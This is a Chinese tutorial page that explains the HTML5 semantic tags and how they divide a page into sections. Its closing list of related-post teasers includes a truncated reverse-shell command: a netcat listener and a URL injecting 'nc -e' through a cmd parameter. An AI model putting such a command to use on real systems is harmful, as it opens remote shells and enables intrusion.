在HTML5中新增了语意标签,取代以前只能用<div>
划分区块,可以更清楚知道网页区块设计目的,也有有利SEO的搜寻。下图是网站标签的结构,依序跟大家说明每个标签的意义
<header>
网页页首通常会放置logo、选单、搜寻框、注册按钮等元素。下面用三个网站不同排版的范例:
<nav>
导览列选单用来连结到网站其他的页面。通常会放在标签内,或是独立一区块。以下两个范例都是选单独立成一块
<main>
网页主要的内容这页面的主要资讯内容,也就是除了<header>
、<nav>
、<aside>
、<footer>
区块以外的内容,且一个网页只能有一个<main>
标签
<aside>
非主要的内容与主要内容无关的额外资讯,像是侧边栏、广告、推荐文章....。范例旁边是与内容无关的资讯
<article>
文章独立的区块包含一篇完整的内容,通常会有一个标题,像是新闻、部落格网站的文章
<section>
群组或区块制作一个区块的内容,用於章节段落的区分,会有标题及内容。
与<article>
不同的是,<section>
不一定是独立内容,但一定会有标题。
<footer>
网页页尾通常会放置版权声明、相关连结、联络方式。以下三是三个不同footer排版的范例
<div>
无特定意义的区块没有任何意义的区块,当想要组成群组,但不知道要放哪个区块
介绍完每个标签的意义後,以下用https://www.teinei.co.jp/ 网站来做整个网站的区块切割范例说明
>>: Day6 用python写UI-聊聊标签Label方法(一)
Counting sort Input : Output : Aux(auxiliary) arra...
变数的大小 sizeof(<型别>) 可以查看某型别占用多少记忆体空间,单位是位元组 #...
MyBatis设定 ...
这个章节中,我们探讨四类查询指令中剩下的 QBE 条件输入指令 CONSTRUCT。做完条件的输入...
前言 $nc -lvnp 1337 http://shhhhh.com/?cmd=nc%20-e%2...